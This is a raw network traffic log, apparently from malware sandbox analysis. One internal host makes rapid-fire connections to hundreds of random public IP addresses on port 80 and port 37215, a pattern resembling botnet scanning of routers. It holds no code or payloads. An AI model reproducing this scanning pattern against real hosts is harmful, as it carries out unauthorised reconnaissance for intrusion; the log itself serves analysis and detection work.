Jan 2, 2024 06:23:49.202155113 CET	18377	80	192.168.2.23	51.104.136.90
Jan 2, 2024 06:23:49.202158928 CET	18377	80	192.168.2.23	71.117.74.86
Jan 2, 2024 06:23:49.202178001 CET	18377	80	192.168.2.23	61.59.98.34
Jan 2, 2024 06:23:49.202178955 CET	18377	80	192.168.2.23	140.116.63.30
Jan 2, 2024 06:23:49.202178955 CET	18377	80	192.168.2.23	67.163.116.148
Jan 2, 2024 06:23:49.202179909 CET	18377	80	192.168.2.23	94.24.31.53
Jan 2, 2024 06:23:49.202182055 CET	18377	80	192.168.2.23	172.119.22.245
Jan 2, 2024 06:23:49.202182055 CET	18377	80	192.168.2.23	57.178.254.69
Jan 2, 2024 06:23:49.202182055 CET	18377	80	192.168.2.23	190.133.216.216
Jan 2, 2024 06:23:49.202183962 CET	18377	80	192.168.2.23	100.179.75.144
Jan 2, 2024 06:23:49.202186108 CET	18377	80	192.168.2.23	63.117.90.133
Jan 2, 2024 06:23:49.202193975 CET	18377	80	192.168.2.23	130.68.184.170
Jan 2, 2024 06:23:49.202199936 CET	18377	80	192.168.2.23	58.17.37.64
Jan 2, 2024 06:23:49.202199936 CET	18377	80	192.168.2.23	185.180.38.162
Jan 2, 2024 06:23:49.202199936 CET	18377	80	192.168.2.23	204.38.85.112
Jan 2, 2024 06:23:49.202210903 CET	18377	80	192.168.2.23	144.163.156.71
Jan 2, 2024 06:23:49.202218056 CET	18377	80	192.168.2.23	188.93.222.56
Jan 2, 2024 06:23:49.202218056 CET	18377	80	192.168.2.23	121.44.17.115
Jan 2, 2024 06:23:49.202238083 CET	55228	80	192.168.2.23	220.134.218.248
Jan 2, 2024 06:23:49.202238083 CET	60550	80	192.168.2.23	104.107.28.16
Jan 2, 2024 06:23:49.202244043 CET	42464	80	192.168.2.23	63.195.193.240
Jan 2, 2024 06:23:49.202244997 CET	60502	80	192.168.2.23	67.212.162.83
Jan 2, 2024 06:23:49.202261925 CET	18377	80	192.168.2.23	134.74.110.123
Jan 2, 2024 06:23:49.202266932 CET	18377	80	192.168.2.23	184.188.55.204
Jan 2, 2024 06:23:49.202266932 CET	18377	80	192.168.2.23	106.133.9.202
Jan 2, 2024 06:23:49.202266932 CET	18377	80	192.168.2.23	2.86.189.116
Jan 2, 2024 06:23:49.202277899 CET	18377	80	192.168.2.23	161.35.217.231
Jan 2, 2024 06:23:49.202286005 CET	18377	80	192.168.2.23	113.29.178.158
Jan 2, 2024 06:23:49.202291012 CET	18377	80	192.168.2.23	24.134.86.4
Jan 2, 2024 06:23:49.202291012 CET	18377	80	192.168.2.23	166.15.134.84
Jan 2, 2024 06:23:49.202292919 CET	18377	80	192.168.2.23	168.137.33.28
Jan 2, 2024 06:23:49.202294111 CET	18377	80	192.168.2.23	115.176.76.63
Jan 2, 2024 06:23:49.202301025 CET	18377	80	192.168.2.23	47.186.243.174
Jan 2, 2024 06:23:49.202305079 CET	18377	80	192.168.2.23	131.40.113.192
Jan 2, 2024 06:23:49.202306032 CET	18377	80	192.168.2.23	163.230.21.91
Jan 2, 2024 06:23:49.202322006 CET	18377	80	192.168.2.23	57.56.127.249
Jan 2, 2024 06:23:49.202322960 CET	18377	80	192.168.2.23	161.91.238.193
Jan 2, 2024 06:23:49.202326059 CET	18377	80	192.168.2.23	175.171.152.218
Jan 2, 2024 06:23:49.202334881 CET	18377	80	192.168.2.23	76.109.232.115
Jan 2, 2024 06:23:49.202349901 CET	18377	80	192.168.2.23	91.95.8.129
Jan 2, 2024 06:23:49.202348948 CET	18377	80	192.168.2.23	44.136.255.49
Jan 2, 2024 06:23:49.202348948 CET	18377	80	192.168.2.23	62.75.199.254
Jan 2, 2024 06:23:49.202363968 CET	18377	80	192.168.2.23	186.64.170.90
Jan 2, 2024 06:23:49.202364922 CET	18377	80	192.168.2.23	44.145.64.18
Jan 2, 2024 06:23:49.202367067 CET	18377	80	192.168.2.23	91.116.69.69
Jan 2, 2024 06:23:49.202369928 CET	18377	80	192.168.2.23	20.238.159.88
Jan 2, 2024 06:23:49.202373981 CET	18377	80	192.168.2.23	134.15.91.15
Jan 2, 2024 06:23:49.202379942 CET	18377	80	192.168.2.23	46.228.146.89
Jan 2, 2024 06:23:49.202379942 CET	18377	80	192.168.2.23	149.163.213.34
Jan 2, 2024 06:23:49.202383041 CET	18377	80	192.168.2.23	180.145.210.12
Jan 2, 2024 06:23:49.202383041 CET	18377	80	192.168.2.23	174.63.5.7
Jan 2, 2024 06:23:49.202385902 CET	18377	80	192.168.2.23	99.118.85.33
Jan 2, 2024 06:23:49.202387094 CET	18377	80	192.168.2.23	14.109.107.245
Jan 2, 2024 06:23:49.202388048 CET	18377	80	192.168.2.23	96.108.181.28
Jan 2, 2024 06:23:49.202389002 CET	18377	80	192.168.2.23	206.12.70.148
Jan 2, 2024 06:23:49.202389956 CET	18377	80	192.168.2.23	139.215.80.140
Jan 2, 2024 06:23:49.202394009 CET	18377	80	192.168.2.23	175.58.188.229
Jan 2, 2024 06:23:49.202399015 CET	18377	80	192.168.2.23	178.239.19.91
Jan 2, 2024 06:23:49.202399015 CET	18377	80	192.168.2.23	152.101.181.18
Jan 2, 2024 06:23:49.202403069 CET	18377	80	192.168.2.23	9.93.169.230
Jan 2, 2024 06:23:49.202404976 CET	18377	80	192.168.2.23	219.128.144.223
Jan 2, 2024 06:23:49.202404976 CET	18377	80	192.168.2.23	19.27.207.250
Jan 2, 2024 06:23:49.202404976 CET	18377	80	192.168.2.23	174.201.152.43
Jan 2, 2024 06:23:49.202406883 CET	18377	80	192.168.2.23	180.170.193.230
Jan 2, 2024 06:23:49.202406883 CET	18377	80	192.168.2.23	120.227.89.65
Jan 2, 2024 06:23:49.202406883 CET	18377	80	192.168.2.23	107.15.207.53
Jan 2, 2024 06:23:49.202408075 CET	18377	80	192.168.2.23	171.94.23.113
Jan 2, 2024 06:23:49.202414989 CET	18377	80	192.168.2.23	90.65.200.183
Jan 2, 2024 06:23:49.202430010 CET	18377	80	192.168.2.23	149.75.158.200
Jan 2, 2024 06:23:49.202430010 CET	18377	80	192.168.2.23	150.105.140.33
Jan 2, 2024 06:23:49.202431917 CET	18377	80	192.168.2.23	207.159.150.108
Jan 2, 2024 06:23:49.202435017 CET	18377	80	192.168.2.23	140.74.164.35
Jan 2, 2024 06:23:49.202439070 CET	18377	80	192.168.2.23	185.24.250.216
Jan 2, 2024 06:23:49.202454090 CET	18377	80	192.168.2.23	113.198.35.222
Jan 2, 2024 06:23:49.202456951 CET	18377	80	192.168.2.23	47.20.140.109
Jan 2, 2024 06:23:49.202457905 CET	18377	80	192.168.2.23	133.238.182.47
Jan 2, 2024 06:23:49.202457905 CET	18377	80	192.168.2.23	181.60.131.216
Jan 2, 2024 06:23:49.202457905 CET	18377	80	192.168.2.23	84.66.228.153
Jan 2, 2024 06:23:49.202471018 CET	18377	80	192.168.2.23	210.36.103.77
Jan 2, 2024 06:23:49.202481985 CET	18377	80	192.168.2.23	134.120.171.202
Jan 2, 2024 06:23:49.202481985 CET	18377	80	192.168.2.23	78.146.198.239
Jan 2, 2024 06:23:49.202481985 CET	18377	80	192.168.2.23	120.228.87.112
Jan 2, 2024 06:23:49.202482939 CET	18377	80	192.168.2.23	217.23.73.124
Jan 2, 2024 06:23:49.202482939 CET	18377	80	192.168.2.23	197.157.234.150
Jan 2, 2024 06:23:49.202493906 CET	18377	80	192.168.2.23	135.14.88.219
Jan 2, 2024 06:23:49.202502012 CET	18377	80	192.168.2.23	141.136.165.158
Jan 2, 2024 06:23:49.202503920 CET	18377	80	192.168.2.23	136.163.57.56
Jan 2, 2024 06:23:49.202541113 CET	48674	80	192.168.2.23	167.172.137.111
Jan 2, 2024 06:23:49.202565908 CET	59224	80	192.168.2.23	91.215.216.43
Jan 2, 2024 06:23:49.266235113 CET	34064	37215	192.168.2.23	156.235.102.230
Jan 2, 2024 06:23:49.325818062 CET	80	18377	151.101.7.166	192.168.2.23
Jan 2, 2024 06:23:49.325831890 CET	80	18377	130.211.15.95	192.168.2.23
Jan 2, 2024 06:23:49.325867891 CET	18377	80	192.168.2.23	151.101.7.166
Jan 2, 2024 06:23:49.325872898 CET	18377	80	192.168.2.23	130.211.15.95
Jan 2, 2024 06:23:49.352487087 CET	80	18377	149.149.241.184	192.168.2.23
Jan 2, 2024 06:23:49.369919062 CET	80	48674	167.172.137.111	192.168.2.23
Jan 2, 2024 06:23:49.370007038 CET	48674	80	192.168.2.23	167.172.137.111
Jan 2, 2024 06:23:49.370162964 CET	45530	80	192.168.2.23	151.101.7.166
Jan 2, 2024 06:23:49.370182037 CET	40968	80	192.168.2.23	130.211.15.95
Jan 2, 2024 06:23:49.370306015 CET	48674	80	192.168.2.23	167.172.137.111
Jan 2, 2024 06:23:49.370341063 CET	48674	80	192.168.2.23	167.172.137.111
Jan 2, 2024 06:23:49.370398045 CET	48682	80	192.168.2.23	167.172.137.111
Jan 2, 2024 06:23:49.383934975 CET	24529	37215	192.168.2.23	156.250.54.154
Jan 2, 2024 06:23:49.383936882 CET	24529	37215	192.168.2.23	197.98.141.21
Jan 2, 2024 06:23:49.383940935 CET	24529	37215	192.168.2.23	156.216.224.226
Jan 2, 2024 06:23:49.383955956 CET	24529	37215	192.168.2.23	41.129.94.103
Jan 2, 2024 06:23:49.383959055 CET	24529	37215	192.168.2.23	156.182.126.48
Jan 2, 2024 06:23:49.383965969 CET	24529	37215	192.168.2.23	156.66.170.44
Jan 2, 2024 06:23:49.383982897 CET	24529	37215	192.168.2.23	197.121.104.239
Jan 2, 2024 06:23:49.383982897 CET	24529	37215	192.168.2.23	156.50.209.116
Jan 2, 2024 06:23:49.383985996 CET	24529	37215	192.168.2.23	41.120.105.252
Jan 2, 2024 06:23:49.383997917 CET	24529	37215	192.168.2.23	41.143.60.179
Jan 2, 2024 06:23:49.384005070 CET	24529	37215	192.168.2.23	41.88.33.77
Jan 2, 2024 06:23:49.384005070 CET	24529	37215	192.168.2.23	156.95.20.92
Jan 2, 2024 06:23:49.384012938 CET	24529	37215	192.168.2.23	197.43.122.48
Jan 2, 2024 06:23:49.384017944 CET	24529	37215	192.168.2.23	156.249.55.219
Jan 2, 2024 06:23:49.384021044 CET	24529	37215	192.168.2.23	156.0.13.31
Jan 2, 2024 06:23:49.384021997 CET	24529	37215	192.168.2.23	197.227.6.144
Jan 2, 2024 06:23:49.384023905 CET	24529	37215	192.168.2.23	197.219.77.137
Jan 2, 2024 06:23:49.384033918 CET	24529	37215	192.168.2.23	197.153.173.189
Jan 2, 2024 06:23:49.384036064 CET	24529	37215	192.168.2.23	41.26.26.215
Jan 2, 2024 06:23:49.384047031 CET	24529	37215	192.168.2.23	156.129.5.77
Jan 2, 2024 06:23:49.384054899 CET	24529	37215	192.168.2.23	197.118.115.11
Jan 2, 2024 06:23:49.384057045 CET	24529	37215	192.168.2.23	197.129.92.48
Jan 2, 2024 06:23:49.384068012 CET	24529	37215	192.168.2.23	156.151.168.225
Jan 2, 2024 06:23:49.384068966 CET	24529	37215	192.168.2.23	197.129.185.99
Jan 2, 2024 06:23:49.384076118 CET	24529	37215	192.168.2.23	197.126.201.10
Jan 2, 2024 06:23:49.384082079 CET	24529	37215	192.168.2.23	197.22.128.215
Jan 2, 2024 06:23:49.384083033 CET	24529	37215	192.168.2.23	156.101.47.208
Jan 2, 2024 06:23:49.384098053 CET	24529	37215	192.168.2.23	156.23.147.160
Jan 2, 2024 06:23:49.384103060 CET	24529	37215	192.168.2.23	156.37.66.51
Jan 2, 2024 06:23:49.384103060 CET	24529	37215	192.168.2.23	156.103.12.205
Jan 2, 2024 06:23:49.384111881 CET	24529	37215	192.168.2.23	41.218.35.51
Jan 2, 2024 06:23:49.384113073 CET	24529	37215	192.168.2.23	197.67.132.142
Jan 2, 2024 06:23:49.384123087 CET	24529	37215	192.168.2.23	197.100.68.237
Jan 2, 2024 06:23:49.384126902 CET	24529	37215	192.168.2.23	156.13.217.180
Jan 2, 2024 06:23:49.384131908 CET	24529	37215	192.168.2.23	41.66.230.22
Jan 2, 2024 06:23:49.384140968 CET	24529	37215	192.168.2.23	156.207.46.243
Jan 2, 2024 06:23:49.384141922 CET	24529	37215	192.168.2.23	197.185.240.94
Jan 2, 2024 06:23:49.384144068 CET	24529	37215	192.168.2.23	197.103.183.19
Jan 2, 2024 06:23:49.384150028 CET	24529	37215	192.168.2.23	197.115.102.194
Jan 2, 2024 06:23:49.384162903 CET	24529	37215	192.168.2.23	156.181.109.184
Jan 2, 2024 06:23:49.384165049 CET	24529	37215	192.168.2.23	197.232.112.226
Jan 2, 2024 06:23:49.384171009 CET	24529	37215	192.168.2.23	197.239.247.89
Jan 2, 2024 06:23:49.384174109 CET	24529	37215	192.168.2.23	197.180.227.114
Jan 2, 2024 06:23:49.384180069 CET	24529	37215	192.168.2.23	156.189.236.11
Jan 2, 2024 06:23:49.384186029 CET	24529	37215	192.168.2.23	156.43.34.237
Jan 2, 2024 06:23:49.384195089 CET	24529	37215	192.168.2.23	156.48.20.109
Jan 2, 2024 06:23:49.384196997 CET	24529	37215	192.168.2.23	197.62.221.108
Jan 2, 2024 06:23:49.384197950 CET	24529	37215	192.168.2.23	156.51.12.70
Jan 2, 2024 06:23:49.384203911 CET	24529	37215	192.168.2.23	156.37.25.20
Jan 2, 2024 06:23:49.384205103 CET	24529	37215	192.168.2.23	156.201.235.58
Jan 2, 2024 06:23:49.384216070 CET	24529	37215	192.168.2.23	41.12.43.19
Jan 2, 2024 06:23:49.384227037 CET	24529	37215	192.168.2.23	197.206.148.130
Jan 2, 2024 06:23:49.384227037 CET	24529	37215	192.168.2.23	41.10.135.36
Jan 2, 2024 06:23:49.384227991 CET	24529	37215	192.168.2.23	41.2.200.135
Jan 2, 2024 06:23:49.384228945 CET	24529	37215	192.168.2.23	156.2.154.236
Jan 2, 2024 06:23:49.384228945 CET	24529	37215	192.168.2.23	156.42.56.168
Jan 2, 2024 06:23:49.384238005 CET	24529	37215	192.168.2.23	41.81.135.230
Jan 2, 2024 06:23:49.384249926 CET	24529	37215	192.168.2.23	156.56.45.123
Jan 2, 2024 06:23:49.384254932 CET	24529	37215	192.168.2.23	156.111.220.64
Jan 2, 2024 06:23:49.384254932 CET	24529	37215	192.168.2.23	41.195.71.234
Jan 2, 2024 06:23:49.384259939 CET	24529	37215	192.168.2.23	197.45.167.111
Jan 2, 2024 06:23:49.384269953 CET	24529	37215	192.168.2.23	156.135.100.83
Jan 2, 2024 06:23:49.384273052 CET	24529	37215	192.168.2.23	197.210.81.148
Jan 2, 2024 06:23:49.384283066 CET	24529	37215	192.168.2.23	41.94.8.253
Jan 2, 2024 06:23:49.384284019 CET	24529	37215	192.168.2.23	156.73.138.211
Jan 2, 2024 06:23:49.384284973 CET	24529	37215	192.168.2.23	197.7.156.112
Jan 2, 2024 06:23:49.384294987 CET	24529	37215	192.168.2.23	156.184.103.11
Jan 2, 2024 06:23:49.384306908 CET	24529	37215	192.168.2.23	41.211.238.139
Jan 2, 2024 06:23:49.384308100 CET	24529	37215	192.168.2.23	41.200.102.200
Jan 2, 2024 06:23:49.384310007 CET	24529	37215	192.168.2.23	156.13.161.71
Jan 2, 2024 06:23:49.384311914 CET	24529	37215	192.168.2.23	197.18.155.184
Jan 2, 2024 06:23:49.384311914 CET	24529	37215	192.168.2.23	197.136.31.60
Jan 2, 2024 06:23:49.384318113 CET	24529	37215	192.168.2.23	197.24.160.230
Jan 2, 2024 06:23:49.384327888 CET	24529	37215	192.168.2.23	197.49.174.63
Jan 2, 2024 06:23:49.384330034 CET	24529	37215	192.168.2.23	41.19.7.199
Jan 2, 2024 06:23:49.384332895 CET	24529	37215	192.168.2.23	197.6.71.67
Jan 2, 2024 06:23:49.384341002 CET	24529	37215	192.168.2.23	156.11.169.134
Jan 2, 2024 06:23:49.384341002 CET	24529	37215	192.168.2.23	41.31.36.54
Jan 2, 2024 06:23:49.384349108 CET	24529	37215	192.168.2.23	156.39.82.41
Jan 2, 2024 06:23:49.384355068 CET	24529	37215	192.168.2.23	41.10.251.238
Jan 2, 2024 06:23:49.384357929 CET	24529	37215	192.168.2.23	156.226.130.248
Jan 2, 2024 06:23:49.384366989 CET	24529	37215	192.168.2.23	156.222.232.180
Jan 2, 2024 06:23:49.384366989 CET	24529	37215	192.168.2.23	41.26.185.148
Jan 2, 2024 06:23:49.384376049 CET	24529	37215	192.168.2.23	41.133.245.83
Jan 2, 2024 06:23:49.384387970 CET	24529	37215	192.168.2.23	197.137.240.126
Jan 2, 2024 06:23:49.384387970 CET	24529	37215	192.168.2.23	197.212.41.203
Jan 2, 2024 06:23:49.384391069 CET	24529	37215	192.168.2.23	41.238.103.84
Jan 2, 2024 06:23:49.384401083 CET	24529	37215	192.168.2.23	197.166.99.71
Jan 2, 2024 06:23:49.384407043 CET	24529	37215	192.168.2.23	156.42.54.143
Jan 2, 2024 06:23:49.384407043 CET	24529	37215	192.168.2.23	156.175.19.220
Jan 2, 2024 06:23:49.384407043 CET	24529	37215	192.168.2.23	156.159.128.113
Jan 2, 2024 06:23:49.384407043 CET	24529	37215	192.168.2.23	197.170.131.52
Jan 2, 2024 06:23:49.384412050 CET	24529	37215	192.168.2.23	156.101.49.235
Jan 2, 2024 06:23:49.384412050 CET	24529	37215	192.168.2.23	197.188.217.237
Jan 2, 2024 06:23:49.384418964 CET	24529	37215	192.168.2.23	156.76.218.180
Jan 2, 2024 06:23:49.384427071 CET	24529	37215	192.168.2.23	156.70.46.131
Jan 2, 2024 06:23:49.384428024 CET	24529	37215	192.168.2.23	41.50.187.36
Jan 2, 2024 06:23:49.384435892 CET	24529	37215	192.168.2.23	197.227.145.213
Jan 2, 2024 06:23:49.384442091 CET	24529	37215	192.168.2.23	41.240.18.141
Jan 2, 2024 06:23:49.384443045 CET	24529	37215	192.168.2.23	41.136.210.138
Jan 2, 2024 06:23:49.384458065 CET	24529	37215	192.168.2.23	197.250.26.65
Jan 2, 2024 06:23:49.384459972 CET	24529	37215	192.168.2.23	197.69.169.11
Jan 2, 2024 06:23:49.384468079 CET	24529	37215	192.168.2.23	197.196.236.252
Jan 2, 2024 06:23:49.384468079 CET	24529	37215	192.168.2.23	156.71.27.150
Jan 2, 2024 06:23:49.384480000 CET	24529	37215	192.168.2.23	197.87.179.36
Jan 2, 2024 06:23:49.384480000 CET	24529	37215	192.168.2.23	156.197.54.118
Jan 2, 2024 06:23:49.384497881 CET	24529	37215	192.168.2.23	41.43.107.16
Jan 2, 2024 06:23:49.384499073 CET	24529	37215	192.168.2.23	197.99.40.119
Jan 2, 2024 06:23:49.384500027 CET	24529	37215	192.168.2.23	156.133.193.242
Jan 2, 2024 06:23:49.384501934 CET	24529	37215	192.168.2.23	41.48.167.247
Jan 2, 2024 06:23:49.384512901 CET	24529	37215	192.168.2.23	197.250.104.252
Jan 2, 2024 06:23:49.384514093 CET	24529	37215	192.168.2.23	197.75.244.84
Jan 2, 2024 06:23:49.384515047 CET	24529	37215	192.168.2.23	156.56.128.48
Jan 2, 2024 06:23:49.384521008 CET	24529	37215	192.168.2.23	156.77.204.155
Jan 2, 2024 06:23:49.384536982 CET	24529	37215	192.168.2.23	41.225.12.76
Jan 2, 2024 06:23:49.384537935 CET	24529	37215	192.168.2.23	41.83.30.49
Jan 2, 2024 06:23:49.384538889 CET	24529	37215	192.168.2.23	156.240.71.246
Jan 2, 2024 06:23:49.384538889 CET	24529	37215	192.168.2.23	197.134.183.119
Jan 2, 2024 06:23:49.384542942 CET	24529	37215	192.168.2.23	41.47.123.231
Jan 2, 2024 06:23:49.384546995 CET	24529	37215	192.168.2.23	41.244.171.218
Jan 2, 2024 06:23:49.384552002 CET	24529	37215	192.168.2.23	197.207.141.30
Jan 2, 2024 06:23:49.384552002 CET	24529	37215	192.168.2.23	41.202.69.62
Jan 2, 2024 06:23:49.384566069 CET	24529	37215	192.168.2.23	41.141.202.127
Jan 2, 2024 06:23:49.384567976 CET	24529	37215	192.168.2.23	156.137.114.196
Jan 2, 2024 06:23:49.384573936 CET	24529	37215	192.168.2.23	156.80.142.177
Jan 2, 2024 06:23:49.384584904 CET	24529	37215	192.168.2.23	197.49.105.107
Jan 2, 2024 06:23:49.384586096 CET	24529	37215	192.168.2.23	156.123.207.213
Jan 2, 2024 06:23:49.384591103 CET	24529	37215	192.168.2.23	156.118.220.15
Jan 2, 2024 06:23:49.384593964 CET	24529	37215	192.168.2.23	197.170.98.151
Jan 2, 2024 06:23:49.384609938 CET	24529	37215	192.168.2.23	41.43.252.217
Jan 2, 2024 06:23:49.384612083 CET	24529	37215	192.168.2.23	156.4.119.196
Jan 2, 2024 06:23:49.384613037 CET	24529	37215	192.168.2.23	41.162.189.38
Jan 2, 2024 06:23:49.384627104 CET	24529	37215	192.168.2.23	156.148.200.42
Jan 2, 2024 06:23:49.384629965 CET	24529	37215	192.168.2.23	41.176.111.223
Jan 2, 2024 06:23:49.384637117 CET	24529	37215	192.168.2.23	156.72.208.157
Jan 2, 2024 06:23:49.384639978 CET	24529	37215	192.168.2.23	41.173.169.211
Jan 2, 2024 06:23:49.384648085 CET	24529	37215	192.168.2.23	41.10.79.98
Jan 2, 2024 06:23:49.384659052 CET	24529	37215	192.168.2.23	197.199.63.4
Jan 2, 2024 06:23:49.384665012 CET	24529	37215	192.168.2.23	41.141.238.71
Jan 2, 2024 06:23:49.384666920 CET	24529	37215	192.168.2.23	197.64.107.43
Jan 2, 2024 06:23:49.384676933 CET	24529	37215	192.168.2.23	41.15.41.0
Jan 2, 2024 06:23:49.384680986 CET	24529	37215	192.168.2.23	156.204.141.247
Jan 2, 2024 06:23:49.384695053 CET	24529	37215	192.168.2.23	41.62.93.132
Jan 2, 2024 06:23:49.384695053 CET	24529	37215	192.168.2.23	156.205.49.166
Jan 2, 2024 06:23:49.384701014 CET	24529	37215	192.168.2.23	41.45.216.198
Jan 2, 2024 06:23:49.384704113 CET	24529	37215	192.168.2.23	41.118.165.228
Jan 2, 2024 06:23:49.384722948 CET	24529	37215	192.168.2.23	41.242.126.152
Jan 2, 2024 06:23:49.384723902 CET	24529	37215	192.168.2.23	41.215.129.58
Jan 2, 2024 06:23:49.384737015 CET	24529	37215	192.168.2.23	197.7.251.164
Jan 2, 2024 06:23:49.384737015 CET	24529	37215	192.168.2.23	41.148.211.143
Jan 2, 2024 06:23:49.384737015 CET	24529	37215	192.168.2.23	197.146.66.166
Jan 2, 2024 06:23:49.384741068 CET	24529	37215	192.168.2.23	156.216.89.231
Jan 2, 2024 06:23:49.384741068 CET	24529	37215	192.168.2.23	197.52.220.167
Jan 2, 2024 06:23:49.384742022 CET	24529	37215	192.168.2.23	41.102.59.130
Jan 2, 2024 06:23:49.384757042 CET	24529	37215	192.168.2.23	41.48.99.103
Jan 2, 2024 06:23:49.384761095 CET	24529	37215	192.168.2.23	41.15.121.226
Jan 2, 2024 06:23:49.384762049 CET	24529	37215	192.168.2.23	156.106.232.221
Jan 2, 2024 06:23:49.384762049 CET	24529	37215	192.168.2.23	197.62.123.83
Jan 2, 2024 06:23:49.384774923 CET	24529	37215	192.168.2.23	41.82.247.71
Jan 2, 2024 06:23:49.384777069 CET	24529	37215	192.168.2.23	197.245.39.247
Jan 2, 2024 06:23:49.384788990 CET	24529	37215	192.168.2.23	156.65.197.182
Jan 2, 2024 06:23:49.384793043 CET	24529	37215	192.168.2.23	41.168.39.30
Jan 2, 2024 06:23:49.384803057 CET	24529	37215	192.168.2.23	41.195.67.236
Jan 2, 2024 06:23:49.384804964 CET	24529	37215	192.168.2.23	156.35.39.236
Jan 2, 2024 06:23:49.384808064 CET	24529	37215	192.168.2.23	156.182.225.227
Jan 2, 2024 06:23:49.384812117 CET	24529	37215	192.168.2.23	156.89.152.68
Jan 2, 2024 06:23:49.384814978 CET	24529	37215	192.168.2.23	156.62.85.32
Jan 2, 2024 06:23:49.384814978 CET	24529	37215	192.168.2.23	156.80.78.122
Jan 2, 2024 06:23:49.384819031 CET	24529	37215	192.168.2.23	41.65.65.66
Jan 2, 2024 06:23:49.384829044 CET	24529	37215	192.168.2.23	156.204.157.42
Jan 2, 2024 06:23:49.384831905 CET	24529	37215	192.168.2.23	197.165.225.195
Jan 2, 2024 06:23:49.384840012 CET	24529	37215	192.168.2.23	197.73.211.80
Jan 2, 2024 06:23:49.384845972 CET	24529	37215	192.168.2.23	156.59.224.209
Jan 2, 2024 06:23:49.384859085 CET	24529	37215	192.168.2.23	197.33.38.14
Jan 2, 2024 06:23:49.384859085 CET	24529	37215	192.168.2.23	156.5.231.119
Jan 2, 2024 06:23:49.384861946 CET	24529	37215	192.168.2.23	156.197.157.35
Jan 2, 2024 06:23:49.384867907 CET	24529	37215	192.168.2.23	197.4.19.158
Jan 2, 2024 06:23:49.384867907 CET	24529	37215	192.168.2.23	41.26.83.19
Jan 2, 2024 06:23:49.384871960 CET	24529	37215	192.168.2.23	197.81.90.96
Jan 2, 2024 06:23:49.384871960 CET	24529	37215	192.168.2.23	41.67.242.135
Jan 2, 2024 06:23:49.384884119 CET	24529	37215	192.168.2.23	156.179.171.143
Jan 2, 2024 06:23:49.384886026 CET	24529	37215	192.168.2.23	156.77.100.112
Jan 2, 2024 06:23:49.384892941 CET	24529	37215	192.168.2.23	156.71.147.113
Jan 2, 2024 06:23:49.384905100 CET	24529	37215	192.168.2.23	41.187.42.118
Jan 2, 2024 06:23:49.384910107 CET	24529	37215	192.168.2.23	156.63.189.201
Jan 2, 2024 06:23:49.384911060 CET	24529	37215	192.168.2.23	197.139.99.56
Jan 2, 2024 06:23:49.384921074 CET	24529	37215	192.168.2.23	41.103.251.97
Jan 2, 2024 06:23:49.384922028 CET	24529	37215	192.168.2.23	197.27.163.248
Jan 2, 2024 06:23:49.384922028 CET	24529	37215	192.168.2.23	41.180.76.244
Jan 2, 2024 06:23:49.384932995 CET	24529	37215	192.168.2.23	197.24.80.186
Jan 2, 2024 06:23:49.384936094 CET	24529	37215	192.168.2.23	197.96.231.33
Jan 2, 2024 06:23:49.384947062 CET	24529	37215	192.168.2.23	41.99.153.39
Jan 2, 2024 06:23:49.384953976 CET	24529	37215	192.168.2.23	197.39.114.111
Jan 2, 2024 06:23:49.384958982 CET	24529	37215	192.168.2.23	156.186.94.38
Jan 2, 2024 06:23:49.384968996 CET	24529	37215	192.168.2.23	156.79.80.55
Jan 2, 2024 06:23:49.384968996 CET	24529	37215	192.168.2.23	197.201.198.153
Jan 2, 2024 06:23:49.384975910 CET	24529	37215	192.168.2.23	156.222.32.133
Jan 2, 2024 06:23:49.384978056 CET	24529	37215	192.168.2.23	197.39.232.147
Jan 2, 2024 06:23:49.384983063 CET	24529	37215	192.168.2.23	41.34.97.229
Jan 2, 2024 06:23:49.384991884 CET	24529	37215	192.168.2.23	197.201.39.70
Jan 2, 2024 06:23:49.384995937 CET	24529	37215	192.168.2.23	197.65.255.74
Jan 2, 2024 06:23:49.384996891 CET	24529	37215	192.168.2.23	156.164.213.175
Jan 2, 2024 06:23:49.385006905 CET	24529	37215	192.168.2.23	156.44.49.162
Jan 2, 2024 06:23:49.385015011 CET	24529	37215	192.168.2.23	156.211.130.66
Jan 2, 2024 06:23:49.385015011 CET	24529	37215	192.168.2.23	197.246.232.213
Jan 2, 2024 06:23:49.385027885 CET	24529	37215	192.168.2.23	41.235.234.94
Jan 2, 2024 06:23:49.385035992 CET	24529	37215	192.168.2.23	156.16.46.182
Jan 2, 2024 06:23:49.385041952 CET	24529	37215	192.168.2.23	156.169.57.6
Jan 2, 2024 06:23:49.385045052 CET	24529	37215	192.168.2.23	156.155.29.182
Jan 2, 2024 06:23:49.385055065 CET	24529	37215	192.168.2.23	156.46.222.124
Jan 2, 2024 06:23:49.385068893 CET	24529	37215	192.168.2.23	41.156.79.36
Jan 2, 2024 06:23:49.385072947 CET	24529	37215	192.168.2.23	197.219.252.46
Jan 2, 2024 06:23:49.385073900 CET	24529	37215	192.168.2.23	41.180.181.214
Jan 2, 2024 06:23:49.385073900 CET	24529	37215	192.168.2.23	197.126.79.144
Jan 2, 2024 06:23:49.385085106 CET	24529	37215	192.168.2.23	197.199.30.56
Jan 2, 2024 06:23:49.385086060 CET	24529	37215	192.168.2.23	41.3.220.205
Jan 2, 2024 06:23:49.385092020 CET	24529	37215	192.168.2.23	41.114.15.9
Jan 2, 2024 06:23:49.385101080 CET	24529	37215	192.168.2.23	197.26.132.223
Jan 2, 2024 06:23:49.385107040 CET	24529	37215	192.168.2.23	197.182.203.72
Jan 2, 2024 06:23:49.385111094 CET	24529	37215	192.168.2.23	197.115.59.193
Jan 2, 2024 06:23:49.385111094 CET	24529	37215	192.168.2.23	41.145.121.133
Jan 2, 2024 06:23:49.385128975 CET	24529	37215	192.168.2.23	41.173.175.23
Jan 2, 2024 06:23:49.385128975 CET	24529	37215	192.168.2.23	197.205.212.33
Jan 2, 2024 06:23:49.385128975 CET	24529	37215	192.168.2.23	197.167.94.228
Jan 2, 2024 06:23:49.385144949 CET	24529	37215	192.168.2.23	197.215.79.174
Jan 2, 2024 06:23:49.385147095 CET	24529	37215	192.168.2.23	41.45.125.133
Jan 2, 2024 06:23:49.385152102 CET	24529	37215	192.168.2.23	41.224.181.26
Jan 2, 2024 06:23:49.385154963 CET	24529	37215	192.168.2.23	197.53.9.184
Jan 2, 2024 06:23:49.385154963 CET	24529	37215	192.168.2.23	156.54.67.46
Jan 2, 2024 06:23:49.385154963 CET	24529	37215	192.168.2.23	156.238.202.145
Jan 2, 2024 06:23:49.385159016 CET	24529	37215	192.168.2.23	41.20.249.168
Jan 2, 2024 06:23:49.385162115 CET	24529	37215	192.168.2.23	41.248.15.54
Jan 2, 2024 06:23:49.385170937 CET	24529	37215	192.168.2.23	197.78.107.240
